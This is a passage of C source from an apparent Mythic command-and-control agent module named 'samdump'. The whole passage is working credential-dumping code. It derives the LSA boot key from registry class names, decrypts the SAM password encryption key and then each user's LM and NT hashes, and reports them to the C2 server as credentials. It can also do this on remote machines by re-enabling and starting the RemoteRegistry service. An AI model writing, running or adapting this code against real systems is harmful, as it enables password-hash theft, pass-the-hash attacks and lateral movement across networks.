    USHORT DataLength;
    if (Hash->Revision == 1) {
        DataLength = HashTableEntry->Length - 4; // Minus PekId + Revision
    } else {
        DataLength = HashTableEntry->Length - 24; // Minus PekId + Revision + DataOffset + Iv
    }
    
    if (DataLength == 0) {
        return;
    }
    
    // Decrypt based on revision
    if (Hash->Revision == 1) {
        // RC4 decryption
        CHAR PasswordString[32];
        if (isLMHash) {
            strncpy(PasswordString, "LMPASSWORD", sizeof(PasswordString) - 1);
            PasswordString[sizeof(PasswordString) - 1] = '\0';
        } else {
            strncpy(PasswordString, "NTPASSWORD", sizeof(PasswordString) - 1);
            PasswordString[sizeof(PasswordString) - 1] = '\0';
        }
        
        UCHAR md5Input[64];
        memcpy(md5Input, PasswordEncryptionKey, PEK_SIZE);
        memcpy(md5Input + PEK_SIZE, &UserRid, sizeof(ULONG));
        memcpy(md5Input + PEK_SIZE + sizeof(ULONG), PasswordString, strlen(PasswordString));
        
        UCHAR md5Digest[MD5_DIGEST_LENGTH];
        MD5Hash(md5Input, PEK_SIZE + sizeof(ULONG) + (ULONG)strlen(PasswordString), md5Digest);
        
        STRING Data;
        Data.Length = Data.MaximumLength = DataLength;
        Data.Buffer = (PCHAR)DataBuffer;
        
        STRING Key;
        Key.Length = Key.MaximumLength = MD5_DIGEST_LENGTH;
        Key.Buffer = (PCHAR)md5Digest;
        
        if (!NT_SUCCESS(pSystemFunction033(&Data, &Key))) {
            return;
        }
    } else if (Hash->Revision == 2) {
        // AES decryption
        if (!Aes128Decrypt(PasswordEncryptionKey, Hash->Aes.Iv, DataBuffer, DataLength)) {
            return;
        }
    } else {
        return;
    }
    
    // Final DES decryption
    UCHAR Buffer[16];
    NTSTATUS Status = pSystemFunction027(DataBuffer, &UserRid, Buffer);
    
    if (NT_SUCCESS(Status)) {
        *outputHash = (PBYTE)HeapAlloc(GetProcessHeap(), 0, 16);
        if (*outputHash) {
            memcpy(*outputHash, Buffer, 16);
        }
    }
}

// Dump password hashes for all users
// credentials_paquete: temporary package to accumulate credentials (will be added to respuesta after output)
static VOID DumpPasswordHashes(PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx, PPaquete credentials_paquete, PPaquete salida) {
    HANDLE UsersKey;
    UNICODE_STRING KeyName = RTL_CONSTANT_STRING(L"\\Registry\\Machine\\SAM\\SAM\\Domains\\Account\\Users");
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status;
    
    if (OpenKeyEx == NULL) {
        Status = pNtOpenKey(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes);
    } else {
        Status = OpenKeyEx(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes, REG_OPTION_BACKUP_RESTORE);
    }
    
    if (!NT_SUCCESS(Status)) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: 0x%08lX\n", Status);
        return;
    }
    
    KEY_FULL_INFORMATION KeyInformation;
    ULONG ResultLength;
    
    Status = pNtQueryKey(UsersKey, KeyFullInformation, &KeyInformation, sizeof(KEY_FULL_INFORMATION), &ResultLength);
    
    if (!NT_SUCCESS(Status)) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to query Users key: 0x%08lX\n", Status);
        NtClose(UsersKey);
        return;
    }
    
    UCHAR Buffer[USER_SUBKEY_INFORMATION_SIZE];
    PKEY_BASIC_INFORMATION SubkeyInformation = (PKEY_BASIC_INFORMATION)Buffer;
    
    KeyAttributes.RootDirectory = UsersKey;
    
    // Enumerate users (subtract 1 to exclude "Names" subkey)
    for (ULONG Index = 0; Index < KeyInformation.SubKeys - 1; Index++) {
        Status = pNtEnumerateKey(UsersKey, Index, KeyBasicInformation, SubkeyInformation, USER_SUBKEY_INFORMATION_SIZE, &ResultLength);
        
        if (!NT_SUCCESS(Status)) {
            continue;
        }
        
        KeyAttributes.ObjectName->Length = (USHORT)SubkeyInformation->NameLength;
        KeyAttributes.ObjectName->MaximumLength = (USHORT)SubkeyInformation->NameLength;
        KeyAttributes.ObjectName->Buffer = SubkeyInformation->Name;
        
        HANDLE SubkeyHandle;
        
        if (OpenKeyEx == NULL) {
            Status = pNtOpenKey(&SubkeyHandle, KEY_READ, &KeyAttributes);
        } else {
            Status = OpenKeyEx(&SubkeyHandle, KEY_READ, &KeyAttributes, REG_OPTION_BACKUP_RESTORE);
        }
        
        if (!NT_SUCCESS(Status)) {
            continue;
        }
        
        // Query fixed attributes
        UCHAR FixedDataBuffer[100];
        PSAM_USER_FIXED_DATA UserFixedData = (PSAM_USER_FIXED_DATA)(((PKEY_VALUE_PARTIAL_INFORMATION)(FixedDataBuffer))->Data);
        UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F");
        
        Status = pNtQueryValueKey(SubkeyHandle, &FixedAttributesValueName, KeyValuePartialInformation, FixedDataBuffer, 100, &ResultLength);
        
        if (NT_SUCCESS(Status)) {
            PKEY_VALUE_PARTIAL_INFORMATION ValueInformation;
            Status = QueryUserVariableAttributes(SubkeyHandle, &ValueInformation);
            
            if (NT_SUCCESS(Status)) {
                PSAM_USER_VARIABLE_DATA UserVariableData = (PSAM_USER_VARIABLE_DATA)(ValueInformation->Data);
                
                // Get username
                UNICODE_STRING UserName;
                UserName.Length = (USHORT)UserVariableData->UserName.Length;
                UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length;
                UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset);
                
                // Get RID
                ULONG UserRid = wcstoul(KeyAttributes.ObjectName->Buffer, 0, 16);
                
                // Convert username to ANSI for output
                CHAR usernameAnsi[256] = {0};
                WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), usernameAnsi, sizeof(usernameAnsi) - 1, NULL, NULL);
                
                // Decrypt hashes
                PBYTE lmHash = NULL;
                PBYTE ntHash = NULL;
                
                if (UserVariableData->NTHash.Length != 0) {
                    PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset);
                    DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash);
                }
                
                if (UserVariableData->LMHash.Length != 0) {
                    PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset);
                    DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash);
                }
                
                // Build credential string first (before freeing hashes)
                CHAR credentialString[512] = {0};
                snprintf(credentialString, sizeof(credentialString), "%s:%lu:", usernameAnsi, UserRid);
                
                // Add LM hash to credential string
                if (lmHash) {
                    for (int i = 0; i < 16; i++) {
                        char hex[3];
                        snprintf(hex, sizeof(hex), "%02x", lmHash[i]);
                        strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1);
                    }
                } else {
                    strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1);
                }
                strncat(credentialString, ":", sizeof(credentialString) - strlen(credentialString) - 1);
                
                // Add NT hash to credential string
                if (ntHash) {
                    for (int i = 0; i < 16; i++) {
                        char hex[3];
                        snprintf(hex, sizeof(hex), "%02x", ntHash[i]);
                        strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1);
                    }
                } else {
                    strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1);
                }
                
                // Format output: username:RID:LM:NTLM:::
                PackageAddFormatPrintf(salida, FALSE, "%s", credentialString);
                PackageAddFormatPrintf(salida, FALSE, ":::\n");
                
                // Report credential to Mythic (only if we have at least NT hash)
                if (ntHash) {
                    addCredential(credentials_paquete, "hash", "", credentialString, usernameAnsi);
                }
                
                // Free hashes after using them
                if (lmHash) {
                    HeapFree(GetProcessHeap(), 0, lmHash);
                }
                if (ntHash) {
                    HeapFree(GetProcessHeap(), 0, ntHash);
                }
                
                HeapFree(GetProcessHeap(), 0, ValueInformation);
            }
        }
        
        NtClose(SubkeyHandle);
    }
    
    NtClose(UsersKey);
}

// Get LSA System Key from loaded hive
static NTSTATUS GetLsaSystemKeyFromHive(PWCHAR HiveName, PUCHAR SystemKey) {
    // Build path to loaded SYSTEM hive: \\Registry\\Machine\\<HiveName>\\CurrentControlSet\\Control\\Lsa
    WCHAR KeyPath[512];
    swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\CurrentControlSet\\Control\\Lsa", HiveName);
    
    HANDLE LsaKey;
    UNICODE_STRING KeyName;
    RtlInitUnicodeString(&KeyName, KeyPath);
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status = pNtOpenKey(&LsaKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    UNICODE_STRING KeyNames[4] = {
        RTL_CONSTANT_STRING(L"JD"),
        RTL_CONSTANT_STRING(L"Skew1"),
        RTL_CONSTANT_STRING(L"GBG"),
        RTL_CONSTANT_STRING(L"Data")
    };
    
    HANDLE KeyHandle;
    UCHAR KeyParts[16];
    ULONG ResultLength;
    
    KeyAttributes.RootDirectory = LsaKey;
    
    for (UCHAR Index = 0; Index < 4; Index++) {
        KeyAttributes.ObjectName = &KeyNames[Index];
        Status = pNtOpenKey(&KeyHandle, KEY_QUERY_VALUE, &KeyAttributes);
        
        if (!NT_SUCCESS(Status)) {
            break;
        }
        
        UCHAR Buffer[100] = { 0 };
        PKEY_NODE_INFORMATION NodeInformation = (PKEY_NODE_INFORMATION)Buffer;
        
        Status = pNtQueryKey(KeyHandle, KeyNodeInformation, NodeInformation, 100, &ResultLength);
        NtClose(KeyHandle);
        
        if (!NT_SUCCESS(Status)) {
            break;
        }
        
        *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul((PWCHAR)(Buffer + NodeInformation->ClassOffset), 0, 16));
    }
    
    if (NT_SUCCESS(Status)) {
        // Permutate key parts (same as GetLsaSystemKey)
        SystemKey[0] = KeyParts[8];
        SystemKey[1] = KeyParts[5];
        SystemKey[2] = KeyParts[4];
        SystemKey[3] = KeyParts[2];
        SystemKey[4] = KeyParts[11];
        SystemKey[5] = KeyParts[9];
        SystemKey[6] = KeyParts[13];
        SystemKey[7] = KeyParts[3];
        SystemKey[8] = KeyParts[0];
        SystemKey[9] = KeyParts[6];
        SystemKey[10] = KeyParts[1];
        SystemKey[11] = KeyParts[12];
        SystemKey[12] = KeyParts[14];
        SystemKey[13] = KeyParts[10];
        SystemKey[14] = KeyParts[15];
        SystemKey[15] = KeyParts[7];
    }
    
    NtClose(LsaKey);
    return Status;
}

// Get Password Encryption Key from loaded hive
static NTSTATUS GetPasswordEncryptionKeyFromHive(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX* OpenKeyEx) {
    // Build path to loaded SAM hive: \\Registry\\Machine\\<HiveName>\\SAM\\Domains\\Account
    WCHAR KeyPath[512];
    swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\SAM\\Domains\\Account", HiveName);
    
    HANDLE AccountKey;
    UNICODE_STRING KeyName;
    RtlInitUnicodeString(&KeyName, KeyPath);
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status = pNtOpenKey(&AccountKey, KEY_READ, &KeyAttributes);
    
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    
    UNICODE_STRING FixedAttributesValueName = RTL_CONSTANT_STRING(L"F");
    ULONG ResultLength;
    PKEY_VALUE_PARTIAL_INFORMATION ValueInformation = NULL;
    
    Status = QueryUserVariableAttributes(AccountKey, &ValueInformation);
    NtClose(AccountKey);
    
    if (!NT_SUCCESS(Status) || !ValueInformation) {
        return Status;
    }
    
    PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)ValueInformation->Data;
    
    if (!DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey)) {
        HeapFree(GetProcessHeap(), 0, ValueInformation);
        return STATUS_UNSUCCESSFUL;
    }
    
    HeapFree(GetProcessHeap(), 0, ValueInformation);
    *OpenKeyEx = NULL;  // Not needed for loaded hives
    return STATUS_SUCCESS;
}

// Dump password hashes from loaded hive
static VOID DumpPasswordHashesFromHive(PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX OpenKeyEx, PPaquete credentials_paquete, PPaquete salida) {
    // Build path to loaded SAM hive: \\Registry\\Machine\\<HiveName>\\SAM\\Domains\\Account\\Users
    WCHAR KeyPath[512];
    swprintf(KeyPath, sizeof(KeyPath)/sizeof(WCHAR), L"\\Registry\\Machine\\%s\\SAM\\Domains\\Account\\Users", HiveName);
    
    HANDLE UsersKey;
    UNICODE_STRING KeyName;
    RtlInitUnicodeString(&KeyName, KeyPath);
    OBJECT_ATTRIBUTES KeyAttributes;
    
    InitializeObjectAttributes(&KeyAttributes, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    NTSTATUS Status = pNtOpenKey(&UsersKey, KEY_ENUMERATE_SUB_KEYS, &KeyAttributes);
    
    if (!NT_SUCCESS(Status)) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: 0x%08lX\n", Status);
        return;
    }
    
    KEY_FULL_INFORMATION KeyInformation;
    ULONG ResultLength;
    
    Status = pNtQueryKey(UsersKey, KeyFullInformation, &KeyInformation, sizeof(KEY_FULL_INFORMATION), &ResultLength);
    
    if (!NT_SUCCESS(Status)) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to query Users key: 0x%08lX\n", Status);
        NtClose(UsersKey);
        return;
    }
    
    UCHAR Buffer[USER_SUBKEY_INFORMATION_SIZE];
    PKEY_BASIC_INFORMATION SubkeyInformation = (PKEY_BASIC_INFORMATION)Buffer;
    
    KeyAttributes.RootDirectory = UsersKey;
    
    // Enumerate users (subtract 1 to exclude "Names" subkey)
    for (ULONG Index = 0; Index < KeyInformation.SubKeys - 1; Index++) {
        Status = pNtEnumerateKey(UsersKey, Index, KeyBasicInformation, SubkeyInformation, USER_SUBKEY_INFORMATION_SIZE, &ResultLength);
        
        if (!NT_SUCCESS(Status)) {
            continue;
        }
        
        KeyAttributes.ObjectName->Length = (USHORT)SubkeyInformation->NameLength;
        KeyAttributes.ObjectName->MaximumLength = (USHORT)SubkeyInformation->NameLength;
        KeyAttributes.ObjectName->Buffer = SubkeyInformation->Name;
        
        HANDLE SubkeyHandle;
        Status = pNtOpenKey(&SubkeyHandle, KEY_QUERY_VALUE, &KeyAttributes);
        
        if (!NT_SUCCESS(Status)) {
            continue;
        }
        
        PKEY_VALUE_PARTIAL_INFORMATION ValueInformation = NULL;
        Status = QueryUserVariableAttributes(SubkeyHandle, &ValueInformation);
        
        if (NT_SUCCESS(Status) && ValueInformation) {
            PSAM_USER_VARIABLE_DATA UserVariableData = (PSAM_USER_VARIABLE_DATA)(ValueInformation->Data);
            
            // Get username
            UNICODE_STRING UserName;
            UserName.Length = (USHORT)UserVariableData->UserName.Length;
            UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length;
            UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset);
            
            // Get RID from subkey name (the subkey name is the RID in hexadecimal)
            ULONG UserRid = wcstoul(SubkeyInformation->Name, NULL, 16);
            
            // Convert username to ANSI for output
            CHAR Username[256] = {0};
            WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), Username, sizeof(Username) - 1, NULL, NULL);
            
            // Decrypt hashes
            PBYTE lmHash = NULL;
            PBYTE ntHash = NULL;
            
            if (UserVariableData->NTHash.Length != 0) {
                PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset);
                DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash);
            }
            
            if (UserVariableData->LMHash.Length != 0) {
                PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset);
                DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash);
            }
            
            // Format output
            CHAR HashOutput[256];
            snprintf(HashOutput, sizeof(HashOutput), "%s:%lu:", Username, UserRid);
            
            if (lmHash) {
                for (UCHAR i = 0; i < 16; i++) {
                    CHAR hex[3];
                    snprintf(hex, sizeof(hex), "%02x", lmHash[i]);
                    strncat(HashOutput, hex, sizeof(HashOutput) - strlen(HashOutput) - 1);
                }
            } else {
                strncat(HashOutput, "aad3b435b51404eeaad3b435b51404ee", sizeof(HashOutput) - strlen(HashOutput) - 1);
            }
            
            strncat(HashOutput, ":", sizeof(HashOutput) - strlen(HashOutput) - 1);
            
            if (ntHash) {
                for (UCHAR i = 0; i < 16; i++) {
                    CHAR hex[3];
                    snprintf(hex, sizeof(hex), "%02x", ntHash[i]);
                    strncat(HashOutput, hex, sizeof(HashOutput) - strlen(HashOutput) - 1);
                }
            } else {
                strncat(HashOutput, "aad3b435b51404eeaad3b435b51404ee", sizeof(HashOutput) - strlen(HashOutput) - 1);
            }
            
            strncat(HashOutput, ":::\n", sizeof(HashOutput) - strlen(HashOutput) - 1);
            
            PackageAddFormatPrintf(salida, FALSE, "%s", HashOutput);
            
            // Add credential
            if (ntHash && memcmp(ntHash, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16) != 0) {
                addCredential(credentials_paquete, "hash", "", HashOutput, Username);
            }
            
            // Free hashes after using them
            if (lmHash) {
                HeapFree(GetProcessHeap(), 0, lmHash);
            }
            if (ntHash) {
                HeapFree(GetProcessHeap(), 0, ntHash);
            }
            
            HeapFree(GetProcessHeap(), 0, ValueInformation);
        }
        
        NtClose(SubkeyHandle);
    }
    
    NtClose(UsersKey);
}


// Check if we can access SAM remotely (start Remote Registry service if needed)
static BOOL CanAccessSamRemotely(PWCHAR MachineName) {
    // Open a handle to the SCM on the remote machine
    SC_HANDLE ManagerHandle = OpenSCManagerW(MachineName, NULL, SC_MANAGER_CONNECT);
    
    if (ManagerHandle == NULL) {
        return FALSE;
    }
    
    // Open a handle to the remote registry service
    SC_HANDLE ServiceHandle = OpenServiceW(ManagerHandle, L"RemoteRegistry", SERVICE_START | SERVICE_CHANGE_CONFIG);
    
    if (ServiceHandle == NULL) {
        CloseServiceHandle(ManagerHandle);
        return FALSE;
    }
    
    BOOL Result;
    
    do {
        // Try to start the service
        Result = StartServiceW(ServiceHandle, 0, NULL);
        
        if (Result == TRUE) {
            break;
        }
        
        ULONG LastError = GetLastError();
        
        if (LastError == ERROR_SERVICE_ALREADY_RUNNING) {
            Result = TRUE;
            break;
        }
        
        if (LastError != ERROR_SERVICE_DISABLED) {
            Result = FALSE;
            break;
        }
        
        // Change service config to allow starting
        Result = ChangeServiceConfigW(ServiceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        
        if (Result == FALSE) {
            break;
        }
        
        // Try to start again
        Result = StartServiceW(ServiceHandle, 0, NULL);
        
    } while (FALSE);
    
    CloseServiceHandle(ServiceHandle);
    CloseServiceHandle(ManagerHandle);
    return Result;
}

// Get LSA System Key from remote registry
static LONG GetLsaSystemKeyRemote(HKEY HklmHandle, PUCHAR SystemKey) {
    // Open a handle to the LSA configuration key
    HKEY LsaKey;
    LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_QUERY_VALUE, &LsaKey);
    
    if (Status != ERROR_SUCCESS) {
        // Try ControlSet001 as fallback
        Status = RegOpenKeyExW(HklmHandle, L"SYSTEM\\ControlSet001\\Control\\Lsa", 0, KEY_QUERY_VALUE, &LsaKey);
        if (Status != ERROR_SUCCESS) {
            return Status;
        }
    }
    
    // The 16-byte key is split between four parts, in the ClassName value of the JD, Skew1, GBG and Data registry keys
    LPCWSTR KeyNames[4] = { L"JD", L"Skew1", L"GBG", L"Data" };
    HKEY KeyHandle;
    UCHAR KeyParts[16];
    ULONG BufferSize;
    
    for (UCHAR Index = 0; Index < 4; Index++) {
        Status = RegOpenKeyExW(LsaKey, KeyNames[Index], 0, KEY_QUERY_VALUE, &KeyHandle);
        
        if (Status != ERROR_SUCCESS) {
            break;
        }
        
        WCHAR ClassName[10] = { 0 };
        BufferSize = sizeof(ClassName) / sizeof(WCHAR);
        
        Status = RegQueryInfoKeyW(KeyHandle, ClassName, &BufferSize, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegCloseKey(KeyHandle);
        
        if (Status != ERROR_SUCCESS) {
            break;
        }
        
        *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul(ClassName, NULL, 16));
    }
    
    // Permutate the key parts in order to generate the final key
    if (Status == ERROR_SUCCESS) {
        SystemKey[0] = KeyParts[8];
        SystemKey[1] = KeyParts[5];
        SystemKey[2] = KeyParts[4];
        SystemKey[3] = KeyParts[2];
        SystemKey[4] = KeyParts[11];
        SystemKey[5] = KeyParts[9];
        SystemKey[6] = KeyParts[13];
        SystemKey[7] = KeyParts[3];
        SystemKey[8] = KeyParts[0];
        SystemKey[9] = KeyParts[6];
        SystemKey[10] = KeyParts[1];
        SystemKey[11] = KeyParts[12];
        SystemKey[12] = KeyParts[14];
        SystemKey[13] = KeyParts[10];
        SystemKey[14] = KeyParts[15];
        SystemKey[15] = KeyParts[7];
    }
    
    RegCloseKey(LsaKey);
    return Status;
}

// Get Password Encryption Key from remote registry
static LONG GetPasswordEncryptionKeyRemote(HKEY HklmHandle, PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey) {
    // Open a handle to the "Account" key, which holds information about the local domain
    HKEY AccountKey;
    LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SAM\\SAM\\Domains\\Account", REG_OPTION_BACKUP_RESTORE, KEY_QUERY_VALUE, &AccountKey);
    
    if (Status != ERROR_SUCCESS) {
        return Status;
    }
    
    do {
        // Query the value of the "F" entry
        ULONG RequiredLength;
        Status = RegQueryValueExW(AccountKey, L"F", NULL, NULL, NULL, &RequiredLength);
        
        if (Status != ERROR_SUCCESS) {
            break;
        }
        
        PSAM_DOMAIN_FIXED_DATA DomainFixedData = (PSAM_DOMAIN_FIXED_DATA)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RequiredLength));
        
        if (DomainFixedData == NULL) {
            Status = ERROR_NOT_ENOUGH_MEMORY;
            break;
        }
        
        Status = RegQueryValueExW(AccountKey, L"F", NULL, NULL, (PUCHAR)(DomainFixedData), &RequiredLength);
        
        if (Status == ERROR_SUCCESS) {
            // Use the LSA system key to decrypt the PEK
            BOOLEAN Result = DecryptPasswordEncryptionKey(LsaSystemKey, DomainFixedData, PasswordEncryptionKey);
            
            if (Result == FALSE) {
                Status = ERROR_DECRYPTION_FAILED;
            }
        }
        
        HeapFree(GetProcessHeap(), 0, DomainFixedData);
        
    } while (FALSE);
    
    RegCloseKey(AccountKey);
    return Status;
}

// Query user variable attributes from remote registry
static LONG QueryUserVariableAttributesRemote(HKEY KeyHandle, PSAM_USER_VARIABLE_DATA* UserVariableData) {
    ULONG RequiredLength;
    LSTATUS Status = RegQueryValueExW(KeyHandle, L"V", NULL, NULL, NULL, &RequiredLength);
    
    if (Status != ERROR_SUCCESS) {
        return Status;
    }
    
    PSAM_USER_VARIABLE_DATA VariableData = (PSAM_USER_VARIABLE_DATA)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RequiredLength));
    
    if (VariableData == NULL) {
        return ERROR_NOT_ENOUGH_MEMORY;
    }
    
    Status = RegQueryValueExW(KeyHandle, L"V", NULL, NULL, (PUCHAR)(VariableData), &RequiredLength);
    
    if (Status == ERROR_SUCCESS) {
        *UserVariableData = VariableData;
    } else {
        HeapFree(GetProcessHeap(), 0, VariableData);
    }
    
    return Status;
}

// Dump password hashes from remote registry
static VOID DumpPasswordHashesRemote(HKEY HklmHandle, PUCHAR PasswordEncryptionKey, PPaquete credentials_paquete, PPaquete salida) {
    // Open a handle to the "Users" key
    HKEY UsersKey;
    LSTATUS Status = RegOpenKeyExW(HklmHandle, L"SAM\\SAM\\Domains\\Account\\Users", REG_OPTION_BACKUP_RESTORE, KEY_ENUMERATE_SUB_KEYS, &UsersKey);
    
    if (Status != ERROR_SUCCESS) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Could not open Users key: %ld\n", Status);
        return;
    }
    
    // Query the number of subkeys. Subtract one from this value (since we are not counting "Names")
    ULONG NumberOfSubkeys;
    Status = RegQueryInfoKeyW(UsersKey, NULL, NULL, NULL, &NumberOfSubkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    
    if (Status != ERROR_SUCCESS) {
        PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed querying number of Users subkeys: %ld\n", Status);
        RegCloseKey(UsersKey);
        return;
    }
    
    WCHAR KeyName[10];
    
    for (ULONG Index = 0; Index < NumberOfSubkeys - 1; Index++) {
        // RegEnumKeyW queries information about a subkey by its index
        Status = RegEnumKeyW(UsersKey, Index, KeyName, sizeof(KeyName) / sizeof(WCHAR));
        
        if (Status != ERROR_SUCCESS) {
            break;
        }
        
        // Open a handle to the subkey
        HKEY SubkeyHandle;
        Status = RegOpenKeyExW(UsersKey, KeyName, REG_OPTION_BACKUP_RESTORE, KEY_QUERY_VALUE, &SubkeyHandle);
        
        if (Status != ERROR_SUCCESS) {
            continue;
        }
        
        // Query the fixed and variable attributes of the user
        UCHAR Buffer[100];
        PSAM_USER_FIXED_DATA UserFixedData = (PSAM_USER_FIXED_DATA)(Buffer);
        ULONG DataLength = sizeof(Buffer);
        
        Status = RegQueryValueExW(SubkeyHandle, L"F", NULL, NULL, (PUCHAR)(UserFixedData), &DataLength);
        
        if (Status == ERROR_SUCCESS || Status == ERROR_MORE_DATA) {
            PSAM_USER_VARIABLE_DATA UserVariableData;
            Status = QueryUserVariableAttributesRemote(SubkeyHandle, &UserVariableData);
            
            if (Status == ERROR_SUCCESS) {
                // Get username
                UNICODE_STRING UserName;
                UserName.Length = (USHORT)UserVariableData->UserName.Length;
                UserName.MaximumLength = (USHORT)UserVariableData->UserName.Length;
                UserName.Buffer = (PWCHAR)(UserVariableData->Data + UserVariableData->UserName.Offset);
                
                // Get RID
                ULONG UserRid = wcstoul(KeyName, NULL, 16);
                
                // Convert username to ANSI for output
                CHAR usernameAnsi[256] = {0};
                WideCharToMultiByte(CP_ACP, 0, UserName.Buffer, UserName.Length / sizeof(WCHAR), usernameAnsi, sizeof(usernameAnsi) - 1, NULL, NULL);
                
                // Decrypt hashes
                PBYTE lmHash = NULL;
                PBYTE ntHash = NULL;
                
                if (UserVariableData->NTHash.Length != 0) {
                    PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->NTHash.Offset);
                    DecryptHash(&UserVariableData->NTHash, Hash, PasswordEncryptionKey, UserRid, FALSE, &ntHash);
                }
                
                if (UserVariableData->LMHash.Length != 0) {
                    PSAM_HASH Hash = (PSAM_HASH)(UserVariableData->Data + UserVariableData->LMHash.Offset);
                    DecryptHash(&UserVariableData->LMHash, Hash, PasswordEncryptionKey, UserRid, TRUE, &lmHash);
                }
                
                // Build credential string
                CHAR credentialString[512] = {0};
                snprintf(credentialString, sizeof(credentialString), "%s:%lu:", usernameAnsi, UserRid);
                
                // Add LM hash to credential string
                if (lmHash) {
                    for (int i = 0; i < 16; i++) {
                        char hex[3];
                        snprintf(hex, sizeof(hex), "%02x", lmHash[i]);
                        strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1);
                    }
                } else {
                    strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1);
                }
                strncat(credentialString, ":", sizeof(credentialString) - strlen(credentialString) - 1);
                
                // Add NT hash to credential string
                if (ntHash) {
                    for (int i = 0; i < 16; i++) {
                        char hex[3];
                        snprintf(hex, sizeof(hex), "%02x", ntHash[i]);
                        strncat(credentialString, hex, sizeof(credentialString) - strlen(credentialString) - 1);
                    }
                } else {
                    strncat(credentialString, "aad3b435b51404eeaad3b435b51404ee", sizeof(credentialString) - strlen(credentialString) - 1);
                }
                
                // Format output: username:RID:LM:NTLM:::
                PackageAddFormatPrintf(salida, FALSE, "%s", credentialString);
                PackageAddFormatPrintf(salida, FALSE, ":::\n");
                
                // Report credential to Mythic (only if we have at least NT hash)
                if (ntHash) {
                    addCredential(credentials_paquete, "hash", "", credentialString, usernameAnsi);
                }
                
                // Free hashes after using them
                if (lmHash) {
                    HeapFree(GetProcessHeap(), 0, lmHash);
                }
                if (ntHash) {
                    HeapFree(GetProcessHeap(), 0, ntHash);
                }
                
                HeapFree(GetProcessHeap(), 0, UserVariableData);
            }
        }
        
        RegCloseKey(SubkeyHandle);
    }
    
    RegCloseKey(UsersKey);
}
